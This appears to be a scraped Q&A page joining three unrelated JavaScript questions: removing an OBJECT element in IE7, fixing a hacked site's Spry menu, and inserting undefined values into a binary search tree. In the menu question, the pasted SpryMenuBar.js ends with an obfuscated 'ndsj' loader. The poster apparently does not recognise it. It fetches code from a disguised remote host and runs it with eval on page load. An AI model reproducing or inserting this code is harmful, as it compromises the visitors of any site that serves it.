Javascript IE 7 getting OBJECT element - javascript

I'm making a code that removes a videoplayer from the page and then places it back when needed (even if the element doesn't have an id).
I'm finding issues with IE7
Here is my code:
var weboElem, weboElemPar, weboElemIndex, weboStored;
function weboRemoveVideoplayer(vpId){
weboElem = document.getElementById(vpId);
if(!weboElem) return false;
weboElemPar = weboElem.parentNode;
weboElemIndex = 0;
var child = weboElem;
while( (child = child.previousSibling) != null )
weboElemIndex++;
weboElemPar.removeChild(weboElem);
return true;
}
function weboPlaceVideoplayerBack(){
if(weboElemPar.insertBefore !== undefined && weboElemPar.childNodes !== undefined)
{
weboElemPar.insertBefore(weboElem, weboElemPar.childNodes[weboElemIndex]);
return true;
}
return false;
}
var result = document.evaluate(
'//*/param[contains(#value, "autoplay=1")]/..', // XPath expression
document, // context node
null, // namespace resolver
XPathResult.ORDERED_NODE_SNAPSHOT_TYPE
);
if(result.snapshotLength > 0)
{
var node = result.snapshotItem(0);
node.id = "webo";
document.getElementById('info').innerHTML = node.nodeName.toLowerCase()+" -> "+node.id;
} else document.getElementById('info').innerHTML = "not found";
(Note that document.evaluate WORKS because I imported javascript-xpath library)
On IE7 if the XPath finds an IFRAME there are no problems and it works but if it finds an OBJECT does nothing and stops at weboElem = document.getElementById(vpId); as if it didn't find the id.
I tried modifying the code like this:
if(result.snapshotLength > 0)
{
var node = result.snapshotItem(0);
node.id = "webo";
node.parentNode.removeChild(node);
document.getElementById('info').innerHTML = node.nodeName.toLowerCase()+" -> "+node.id;
if(node.nodeName.toLowerCase() == "object") weboStored = node;
else weboStored = null;
} else document.getElementById('info').innerHTML = "not found";
and it works, the videoplayer disappears at page load. I want to use the function though, so I edited everything like this (storing the node into a global var that later I get in the weboRemoveVideoplayer function):
var weboElem, weboElemPar, weboElemIndex, weboStored;
function weboRemoveVideoplayer(vpId){
if(!weboStored) weboElem = document.getElementById(vpId);
else weboElem = weboStored;
if(!weboElem) return false;
weboElemPar = weboElem.parentNode;
weboElemIndex = 0;
var child = weboElem;
while( (child = child.previousSibling) != null )
weboElemIndex++;
weboElemPar.removeChild(weboElem);
alert("5");
return true;
}
function weboPlaceVideoplayerBack(){
if(weboElemPar.insertBefore !== undefined && weboElemPar.childNodes !== undefined)
{
weboElemPar.insertBefore(weboElem, weboElemPar.childNodes[weboElemIndex]);
return true;
}
return false;
}
// bind XPath methods to document and window objects
// NOTE: This will overwrite native XPath implementation if it exists
//XPathJS.bindDomLevel3XPath(); //solo per xpathJs
var result = document.evaluate(
'//*/param[contains(#value, "autoplay=1")]/..', // XPath expression
document, // context node
null, // namespace resolver
XPathResult.ORDERED_NODE_SNAPSHOT_TYPE
);
if(result.snapshotLength > 0)
{
var node = result.snapshotItem(0);
node.id = "webo";
node.parentNode.removeChild(node);
document.getElementById('info').innerHTML = node.nodeName.toLowerCase()+" -> "+node.id;
if(node.nodeName.toLowerCase() == "object") weboStored = node;
else weboStored = null;
} else document.getElementById('info').innerHTML = "not found";
This way the code blocks itself when trying to retrieve the parent node.
Could someone suggest me what to do here?
PS: with chrome and firefox the code works perfectly in the first version I posted.


Fixed it!
I solved the issue by wrapping the OBJECT inside a div with an id of my choice which I can retrieve whenever I want. I do this in the resolveXpath function.
Here the code:
var weboElem, weboElemPar, ieObject = false;
var weboElemIndex = 0;
function weboRemoveVideoplayer(vpId){
var child;
if(!ieObject) weboElem = document.getElementById(vpId);
else weboElem = document.getElementById('my_usage');
if(!weboElem) return false;
weboElemPar = weboElem.parentNode;
weboElemIndex = 0;
child = weboElem;
while( (child = child.previousSibling) != null ) weboElemIndex++;
if(typeof weboElemPar.removeChild !== 'undefined') weboElemPar.removeChild(weboElem);
else return false;
return true;
}
function weboPlaceVideoplayerBack(){
if(typeof weboElemPar.insertBefore !== 'undefined' && typeof weboElemPar.childNodes !== 'undefined' && typeof weboElemPar.appendChild !== 'undefined'){
if(weboElemPar.childNodes.length > 0 && weboElemIndex < weboElemPar.childNodes.length) weboElemPar.insertBefore(weboElem, weboElemPar.childNodes[weboElemIndex]);
else weboElemPar.appendChild(weboElem);
return true;
}
return false;
}
function resolveXpath(path)
{
//XPathJS.bindDomLevel3XPath(); //solo per xpathJs
var result = document.evaluate(path,document,null,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE);
if(result.snapshotLength > 0){
var child, node = result.snapshotItem(0);
if(node.nodeName.toLowerCase() == 'object'){
ieObject = true;
child = node;
while( (child = child.previousSibling) != null ) weboElemIndex++;
var div = document.createElement('div');
div.id = 'my_usage';
if(typeof node.parentNode.insertBefore !== 'undefined' && typeof node.parentNode.childNodes !== 'undefined' && typeof node.parentNode.appendChild !== 'undefined'){
if(node.parentNode.childNodes.length > 0 && weboElemIndex < node.parentNode.childNodes.length) node.parentNode.insertBefore(div,node.parentNode.childNodes[weboElemIndex]);
else node.parentNode.appendChild(div);
div.appendChild(node);
} else return false;
} else node.id = 'my_usage';
return true;
} else return false;
}
resolveXpath('//*/param[contains(#src, "autoplay=1")]/..');

Related

Linking pages .php

Hey guys just wondering if you could help?
I have not done coding in a while but I said id help a friend out with fixing a live website that a prev dev wrecked.
I'm trying to get the menu links to go to the right files,
https://www.lloydbowmaker.com/
The furthest I've gotten is
Spry.Widget.MenuBar.prototype.bubbledTextEvent = function()
{
return Spry.is.safari && (event.target == event.relatedTarget.parentNode || (event.eventPhase == 3 && event.target.parentNode == event.relatedTarget));
};
There's an issue with this javascript code it keeps coming up with an error Cannot read properties of null (reading 'parentNode').
also, the website has gone to the Japanese language on google when searched.
if anyone could give hints on help to fix these that would be incredible :)
// SpryMenuBar.js - version 0.13 - Spry Pre-Release 1.6.1
//enter code here
// Copyright (c) 2006. Adobe Systems Incorporated.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// * Neither the name of Adobe Systems Incorporated nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
/*******************************************************************************
SpryMenuBar.js
This file handles the JavaScript for Spry Menu Bar. You should have no need
to edit this file. Some highlights of the MenuBar object is that timers are
used to keep submenus from showing up until the user has hovered over the parent
menu item for some time, as well as a timer for when they leave a submenu to keep
showing that submenu until the timer fires.
*******************************************************************************/
(function() { // BeginSpryComponent
if (typeof Spry == "undefined") window.Spry = {}; if (!Spry.Widget) Spry.Widget = {};
Spry.BrowserSniff = function()
{
var b = navigator.appName.toString();
var up = navigator.platform.toString();
var ua = navigator.userAgent.toString();
this.mozilla = this.ie = this.opera = this.safari = false;
var re_opera = /Opera.([0-9\.]*)/i;
var re_msie = /MSIE.([0-9\.]*)/i;
var re_gecko = /gecko/i;
var re_safari = /(applewebkit|safari)\/([\d\.]*)/i;
var r = false;
if ( (r = ua.match(re_opera))) {
this.opera = true;
this.version = parseFloat(r[1]);
} else if ( (r = ua.match(re_msie))) {
this.ie = true;
this.version = parseFloat(r[1]);
} else if ( (r = ua.match(re_safari))) {
this.safari = true;
this.version = parseFloat(r[2]);
} else if (ua.match(re_gecko)) {
var re_gecko_version = /rv:\s*([0-9\.]+)/i;
r = ua.match(re_gecko_version);
this.mozilla = true;
this.version = parseFloat(r[1]);
}
this.windows = this.mac = this.linux = false;
this.Platform = ua.match(/windows/i) ? "windows" :
(ua.match(/linux/i) ? "linux" :
(ua.match(/mac/i) ? "mac" :
ua.match(/unix/i)? "unix" : "unknown"));
this[this.Platform] = true;
this.v = this.version;
if (this.safari && this.mac && this.mozilla) {
this.mozilla = false;
}
};
Spry.is = new Spry.BrowserSniff();
// Constructor for Menu Bar
// element should be an ID of an unordered list (<ul> tag)
// preloadImage1 and preloadImage2 are images for the rollover state of a menu
Spry.Widget.MenuBar = function(element, opts)
{
this.init(element, opts);
};
Spry.Widget.MenuBar.prototype.init = function(element, opts)
{
this.element = this.getElement(element);
// represents the current (sub)menu we are operating on
this.currMenu = null;
this.showDelay = 250;
this.hideDelay = 600;
if(typeof document.getElementById == 'undefined' || (navigator.vendor == 'Apple Computer, Inc.' && typeof window.XMLHttpRequest == 'undefined') || (Spry.is.ie && typeof document.uniqueID == 'undefined'))
{
// bail on older unsupported browsers
return;
}
// Fix IE6 CSS images flicker
if (Spry.is.ie && Spry.is.version < 7){
try {
document.execCommand("BackgroundImageCache", false, true);
} catch(err) {}
}
this.upKeyCode = Spry.Widget.MenuBar.KEY_UP;
this.downKeyCode = Spry.Widget.MenuBar.KEY_DOWN;
this.leftKeyCode = Spry.Widget.MenuBar.KEY_LEFT;
this.rightKeyCode = Spry.Widget.MenuBar.KEY_RIGHT;
this.escKeyCode = Spry.Widget.MenuBar.KEY_ESC;
this.hoverClass = 'MenuBarItemHover';
this.subHoverClass = 'MenuBarItemSubmenuHover';
this.subVisibleClass ='MenuBarSubmenuVisible';
this.hasSubClass = 'MenuBarItemSubmenu';
this.activeClass = 'MenuBarActive';
this.isieClass = 'MenuBarItemIE';
this.verticalClass = 'MenuBarVertical';
this.horizontalClass = 'MenuBarHorizontal';
this.enableKeyboardNavigation = true;
this.hasFocus = false;
// load hover images now
if(opts)
{
for(var k in opts)
{
if (typeof this[k] == 'undefined')
{
var rollover = new Image;
rollover.src = opts[k];
}
}
Spry.Widget.MenuBar.setOptions(this, opts);
}
// safari doesn't support tabindex
if (Spry.is.safari)
this.enableKeyboardNavigation = false;
if(this.element)
{
this.currMenu = this.element;
var items = this.element.getElementsByTagName('li');
for(var i=0; i<items.length; i++)
{
if (i > 0 && this.enableKeyboardNavigation)
items[i].getElementsByTagName('a')[0].tabIndex='-1';
this.initialize(items[i], element);
if(Spry.is.ie)
{
this.addClassName(items[i], this.isieClass);
items[i].style.position = "static";
}
}
if (this.enableKeyboardNavigation)
{
var self = this;
this.addEventListener(document, 'keydown', function(e){self.keyDown(e); }, false);
}
if(Spry.is.ie)
{
if(this.hasClassName(this.element, this.verticalClass))
{
this.element.style.position = "relative";
}
var linkitems = this.element.getElementsByTagName('a');
for(var i=0; i<linkitems.length; i++)
{
linkitems[i].style.position = "relative";
}
}
}
};
Spry.Widget.MenuBar.KEY_ESC = 27;
Spry.Widget.MenuBar.KEY_UP = 38;
Spry.Widget.MenuBar.KEY_DOWN = 40;
Spry.Widget.MenuBar.KEY_LEFT = 37;
Spry.Widget.MenuBar.KEY_RIGHT = 39;
Spry.Widget.MenuBar.prototype.getElement = function(ele)
{
if (ele && typeof ele == "string")
return document.getElementById(ele);
return ele;
};
Spry.Widget.MenuBar.prototype.hasClassName = function(ele, className)
{
if (!ele || !className || !ele.className || ele.className.search(new RegExp("\\b" + className + "\\b")) == -1)
{
return false;
}
return true;
};
Spry.Widget.MenuBar.prototype.addClassName = function(ele, className)
{
if (!ele || !className || this.hasClassName(ele, className))
return;
ele.className += (ele.className ? " " : "") + className;
};
Spry.Widget.MenuBar.prototype.removeClassName = function(ele, className)
{
if (!ele || !className || !this.hasClassName(ele, className))
return;
ele.className = ele.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
};
// addEventListener for Menu Bar
// attach an event to a tag without creating obtrusive HTML code
Spry.Widget.MenuBar.prototype.addEventListener = function(element, eventType, handler, capture)
{
try
{
if (element.addEventListener)
{
element.addEventListener(eventType, handler, capture);
}
else if (element.attachEvent)
{
element.attachEvent('on' + eventType, handler);
}
}
catch (e) {}
};
// createIframeLayer for Menu Bar
// creates an IFRAME underneath a menu so that it will show above form controls and ActiveX
Spry.Widget.MenuBar.prototype.createIframeLayer = function(menu)
{
var layer = document.createElement('iframe');
layer.tabIndex = '-1';
layer.src = 'javascript:""';
layer.frameBorder = '0';
layer.scrolling = 'no';
menu.parentNode.appendChild(layer);
layer.style.left = menu.offsetLeft + 'px';
layer.style.top = menu.offsetTop + 'px';
layer.style.width = menu.offsetWidth + 'px';
layer.style.height = menu.offsetHeight + 'px';
};
// removeIframeLayer for Menu Bar
// removes an IFRAME underneath a menu to reveal any form controls and ActiveX
Spry.Widget.MenuBar.prototype.removeIframeLayer = function(menu)
{
var layers = ((menu == this.element) ? menu : menu.parentNode).getElementsByTagName('iframe');
while(layers.length > 0)
{
layers[0].parentNode.removeChild(layers[0]);
}
};
// clearMenus for Menu Bar
// root is the top level unordered list (<ul> tag)
Spry.Widget.MenuBar.prototype.clearMenus = function(root)
{
var menus = root.getElementsByTagName('ul');
for(var i=0; i<menus.length; i++)
this.hideSubmenu(menus[i]);
this.removeClassName(this.element, this.activeClass);
};
// bubbledTextEvent for Menu Bar
// identify bubbled up text events in Safari so we can ignore them
Spry.Widget.MenuBar.prototype.bubbledTextEvent = function()
{
return Spry.is.safari && (event.target == event.relatedTarget.parentNode || (event.eventPhase == 3 && event.target.parentNode == event.relatedTarget));
};
// showSubmenu for Menu Bar
// set the proper CSS class on this menu to show it
Spry.Widget.MenuBar.prototype.showSubmenu = function(menu)
{
if(this.currMenu)
{
this.clearMenus(this.currMenu);
this.currMenu = null;
}
if(menu)
{
this.addClassName(menu, this.subVisibleClass);
if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE')
{
if(!this.hasClassName(this.element, this.horizontalClass) || menu.parentNode.parentNode != this.element)
{
menu.style.top = menu.parentNode.offsetTop + 'px';
}
}
if(Spry.is.ie && Spry.is.version < 7)
{
this.createIframeLayer(menu);
}
}
this.addClassName(this.element, this.activeClass);
};
// hideSubmenu for Menu Bar
// remove the proper CSS class on this menu to hide it
Spry.Widget.MenuBar.prototype.hideSubmenu = function(menu)
{
if(menu)
{
this.removeClassName(menu, this.subVisibleClass);
if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE')
{
menu.style.top = '';
menu.style.left = '';
}
if(Spry.is.ie && Spry.is.version < 7)
this.removeIframeLayer(menu);
}
};
// initialize for Menu Bar
// create event listeners for the Menu Bar widget so we can properly
// show and hide submenus
Spry.Widget.MenuBar.prototype.initialize = function(listitem, element)
{
var opentime, closetime;
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
if(menu)
this.addClassName(link, this.hasSubClass);
if(!Spry.is.ie)
{
// define a simple function that comes standard in IE to determine
// if a node is within another node
listitem.contains = function(testNode)
{
// this refers to the list item
if(testNode == null)
return false;
if(testNode == this)
return true;
else
return this.contains(testNode.parentNode);
};
}
// need to save this for scope further down
var self = this;
this.addEventListener(listitem, 'mouseover', function(e){self.mouseOver(listitem, e);}, false);
this.addEventListener(listitem, 'mouseout', function(e){if (self.enableKeyboardNavigation) self.clearSelection(); self.mouseOut(listitem, e);}, false);
if (this.enableKeyboardNavigation)
{
this.addEventListener(link, 'blur', function(e){self.onBlur(listitem);}, false);
this.addEventListener(link, 'focus', function(e){self.keyFocus(listitem, e);}, false);
}
};
Spry.Widget.MenuBar.prototype.keyFocus = function (listitem, e)
{
this.lastOpen = listitem.getElementsByTagName('a')[0];
this.addClassName(this.lastOpen, listitem.getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass);
this.hasFocus = true;
};
Spry.Widget.MenuBar.prototype.onBlur = function (listitem)
{
this.clearSelection(listitem);
};
Spry.Widget.MenuBar.prototype.clearSelection = function(el){
//search any intersection with the current open element
if (!this.lastOpen)
return;
if (el)
{
el = el.getElementsByTagName('a')[0];
// check children
var item = this.lastOpen;
while (item != this.element)
{
var tmp = el;
while (tmp != this.element)
{
if (tmp == item)
return;
try{
tmp = tmp.parentNode;
}catch(err){break;}
}
item = item.parentNode;
}
}
var item = this.lastOpen;
while (item != this.element)
{
this.hideSubmenu(item.parentNode);
var link = item.getElementsByTagName('a')[0];
this.removeClassName(link, this.hoverClass);
this.removeClassName(link, this.subHoverClass);
item = item.parentNode;
}
this.lastOpen = false;
};
Spry.Widget.MenuBar.prototype.keyDown = function (e)
{
if (!this.hasFocus)
return;
if (!this.lastOpen)
{
this.hasFocus = false;
return;
}
var e = e|| event;
var listitem = this.lastOpen.parentNode;
var link = this.lastOpen;
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
var opts = [listitem, menu, null, this.getSibling(listitem, 'previousSibling'), this.getSibling(listitem, 'nextSibling')];
if (!opts[3])
opts[2] = (listitem.parentNode.parentNode.nodeName.toLowerCase() == 'li')?listitem.parentNode.parentNode:null;
var found = 0;
switch (e.keyCode){
case this.upKeyCode:
found = this.getElementForKey(opts, 'y', 1);
break;
case this.downKeyCode:
found = this.getElementForKey(opts, 'y', -1);
break;
case this.leftKeyCode:
found = this.getElementForKey(opts, 'x', 1);
break;
case this.rightKeyCode:
found = this.getElementForKey(opts, 'x', -1);
break;
case this.escKeyCode:
case 9:
this.clearSelection();
this.hasFocus = false;
default: return;
}
switch (found)
{
case 0: return;
case 1:
//subopts
this.mouseOver(listitem, e);
break;
case 2:
//parent
this.mouseOut(opts[2], e);
break;
case 3:
case 4:
// left - right
this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
break;
}
var link = opts[found].getElementsByTagName('a')[0];
if (opts[found].nodeName.toLowerCase() == 'ul')
opts[found] = opts[found].getElementsByTagName('li')[0];
this.addClassName(link, opts[found].getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass);
this.lastOpen = link;
opts[found].getElementsByTagName('a')[0].focus();
//stop further event handling by the browser
return Spry.Widget.MenuBar.stopPropagation(e);
};
Spry.Widget.MenuBar.prototype.mouseOver = function (listitem, e)
{
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
if (this.enableKeyboardNavigation)
this.clearSelection(listitem);
if(this.bubbledTextEvent())
{
// ignore bubbled text events
return;
}
if (listitem.closetime)
clearTimeout(listitem.closetime);
if(this.currMenu == listitem)
{
this.currMenu = null;
}
// move the focus too
if (this.hasFocus)
link.focus();
// show menu highlighting
this.addClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
this.lastOpen = link;
if(menu && !this.hasClassName(menu, this.subHoverClass))
{
var self = this;
listitem.opentime = window.setTimeout(function(){self.showSubmenu(menu);}, this.showDelay);
}
};
Spry.Widget.MenuBar.prototype.mouseOut = function (listitem, e)
{
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
if(this.bubbledTextEvent())
{
// ignore bubbled text events
return;
}
var related = (typeof e.relatedTarget != 'undefined' ? e.relatedTarget : e.toElement);
if(!listitem.contains(related))
{
if (listitem.opentime)
clearTimeout(listitem.opentime);
this.currMenu = listitem;
// remove menu highlighting
this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
if(menu)
{
var self = this;
listitem.closetime = window.setTimeout(function(){self.hideSubmenu(menu);}, this.hideDelay);
}
if (this.hasFocus)
link.blur();
}
};
Spry.Widget.MenuBar.prototype.getSibling = function(element, sibling)
{
var child = element[sibling];
while (child && child.nodeName.toLowerCase() !='li')
child = child[sibling];
return child;
};
Spry.Widget.MenuBar.prototype.getElementForKey = function(els, prop, dir)
{
var found = 0;
var rect = Spry.Widget.MenuBar.getPosition;
var ref = rect(els[found]);
var hideSubmenu = false;
//make the subelement visible to compute the position
if (els[1] && !this.hasClassName(els[1], this.MenuBarSubmenuVisible))
{
els[1].style.visibility = 'hidden';
this.showSubmenu(els[1]);
hideSubmenu = true;
}
var isVert = this.hasClassName(this.element, this.verticalClass);
var hasParent = els[0].parentNode.parentNode.nodeName.toLowerCase() == 'li' ? true : false;
for (var i = 1; i < els.length; i++){
//when navigating on the y axis in vertical menus, ignore children and parents
if(prop=='y' && isVert && (i==1 || i==2))
{
continue;
}
//when navigationg on the x axis in the FIRST LEVEL of horizontal menus, ignore children and parents
if(prop=='x' && !isVert && !hasParent && (i==1 || i==2))
{
continue;
}
if (els[i])
{
var tmp = rect(els[i]);
if ( (dir * tmp[prop]) < (dir * ref[prop]))
{
ref = tmp;
found = i;
}
}
}
// hide back the submenu
if (els[1] && hideSubmenu){
this.hideSubmenu(els[1]);
els[1].style.visibility = '';
}
return found;
};
Spry.Widget.MenuBar.camelize = function(str)
{
if (str.indexOf('-') == -1){
return str;
}
var oStringList = str.split('-');
var isFirstEntry = true;
var camelizedString = '';
for(var i=0; i < oStringList.length; i++)
{
if(oStringList[i].length>0)
{
if(isFirstEntry)
{
camelizedString = oStringList[i];
isFirstEntry = false;
}
else
{
var s = oStringList[i];
camelizedString += s.charAt(0).toUpperCase() + s.substring(1);
}
}
}
return camelizedString;
};
Spry.Widget.MenuBar.getStyleProp = function(element, prop)
{
var value;
try
{
if (element.style)
value = element.style[Spry.Widget.MenuBar.camelize(prop)];
if (!value)
if (document.defaultView && document.defaultView.getComputedStyle)
{
var css = document.defaultView.getComputedStyle(element, null);
value = css ? css.getPropertyValue(prop) : null;
}
else if (element.currentStyle)
{
value = element.currentStyle[Spry.Widget.MenuBar.camelize(prop)];
}
}
catch (e) {}
return value == 'auto' ? null : value;
};
Spry.Widget.MenuBar.getIntProp = function(element, prop)
{
var a = parseInt(Spry.Widget.MenuBar.getStyleProp(element, prop),10);
if (isNaN(a))
return 0;
return a;
};
Spry.Widget.MenuBar.getPosition = function(el, doc)
{
doc = doc || document;
if (typeof(el) == 'string') {
el = doc.getElementById(el);
}
if (!el) {
return false;
}
if (el.parentNode === null || Spry.Widget.MenuBar.getStyleProp(el, 'display') == 'none') {
//element must be visible to have a box
return false;
}
var ret = {x:0, y:0};
var parent = null;
var box;
if (el.getBoundingClientRect) { // IE
box = el.getBoundingClientRect();
var scrollTop = doc.documentElement.scrollTop || doc.body.scrollTop;
var scrollLeft = doc.documentElement.scrollLeft || doc.body.scrollLeft;
ret.x = box.left + scrollLeft;
ret.y = box.top + scrollTop;
} else if (doc.getBoxObjectFor) { // gecko
box = doc.getBoxObjectFor(el);
ret.x = box.x;
ret.y = box.y;
} else { // safari/opera
ret.x = el.offsetLeft;
ret.y = el.offsetTop;
parent = el.offsetParent;
if (parent != el) {
while (parent) {
ret.x += parent.offsetLeft;
ret.y += parent.offsetTop;
parent = parent.offsetParent;
}
}
// opera & (safari absolute) incorrectly account for body offsetTop
if (Spry.is.opera || Spry.is.safari && Spry.Widget.MenuBar.getStyleProp(el, 'position') == 'absolute')
ret.y -= doc.body.offsetTop;
}
if (el.parentNode)
parent = el.parentNode;
else
parent = null;
if (parent.nodeName){
var cas = parent.nodeName.toUpperCase();
while (parent && cas != 'BODY' && cas != 'HTML') {
cas = parent.nodeName.toUpperCase();
ret.x -= parent.scrollLeft;
ret.y -= parent.scrollTop;
if (parent.parentNode)
parent = parent.parentNode;
else
parent = null;
}
}
return ret;
};
Spry.Widget.MenuBar.stopPropagation = function(ev)
{
if (ev.stopPropagation)
ev.stopPropagation();
else
ev.cancelBubble = true;
if (ev.preventDefault)
ev.preventDefault();
else
ev.returnValue = false;
};
Spry.Widget.MenuBar.setOptions = function(obj, optionsObj, ignoreUndefinedProps)
{
if (!optionsObj)
return;
for (var optionName in optionsObj)
{
if (ignoreUndefinedProps && optionsObj[optionName] == undefined)
continue;
obj[optionName] = optionsObj[optionName];
}
};
})(); // EndSpryComponent
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};

binary tree add an undefined node

Problem
I'm trying to study better the tree theory, i can add one or more node without problems but i noticed that if i tried to launch multiple add function without pass a parameter, simply it doesn't work. Could you explain where is my mistake ?
Code
BinarySearchTree.prototype.makeNode = function(value) {
var node = {};
node.value = value;
node.left = null;
node.right = null;
return node;
};
BinarySearchTree.prototype.add = function(value) {
var currentNode = this.makeNode(value);
if (!this.root) {
this.root = currentNode;
} else {
this.insert(currentNode);
}
return this;
};
BinarySearchTree.prototype.insert = function(currentNode) {
var value = currentNode.value;
var traverse = function(node) {
if (value > node.value) {
if (!node.right) {
node.right = currentNode;
return;
} else traverse(node.right);
} else if (value < node.value) {
if (!node.left) {
node.left = currentNode;
return;
} else traverse(node.left);
}
};
traverse(this.root);
};
Now if i try to
var bst = new BinarySearchTree();
bst.add(3).add(2);
console.log(bst);
i will have this console.log
if i try to pass an undefined value
var bst = new BinarySearchTree();
bst.add().add(2);
console.log(bst);
Expectation
I expect that the last console.log doesn't lost the value of 2.
. i read this post to understand better what if i didn't pass any value to a function
What happens if I don't pass a parameter in a Javascript function?
and other posts ( like medium and stack overflow ) and guide related to the tree theory but i didn't find any solution
SOLUTION
Thanks to the recommendation and the correction of #Nina Scholz i just added this lines to this function
BinarySearchTree.prototype.add = function(value) {
if (typeof value == 'undefined') {
value = null;
}
var currentNode = this.makeNode(value);
if (!this.root) {
this.root = currentNode;
console.log('sei qui')
} else {
this.insert(currentNode);
}
return this;
};

Nothing happens, because both conditions evaluate with undefined as value to false.
if (value > node.value) {
// ...
} else if (value < node.value) {
// ...
}
function BinarySearchTree() {}
BinarySearchTree.prototype.makeNode = function(value) {
var node = {};
node.value = value;
node.left = null;
node.right = null;
return node;
};
BinarySearchTree.prototype.add = function(value) {
var currentNode = this.makeNode(value);
if (!this.root) {
this.root = currentNode;
} else {
this.insert(currentNode);
}
return this;
};
BinarySearchTree.prototype.insert = function(currentNode) {
var value = currentNode.value;
var traverse = function(node) {
if (value > node.value) {
if (!node.right) {
node.right = currentNode;
return;
} else traverse(node.right);
} else if (value < node.value) {
if (!node.left) {
node.left = currentNode;
return;
} else traverse(node.left);
}
};
traverse(this.root);
};
var bst = new BinarySearchTree();
bst.add(3).add(2).add();
console.log(bst);

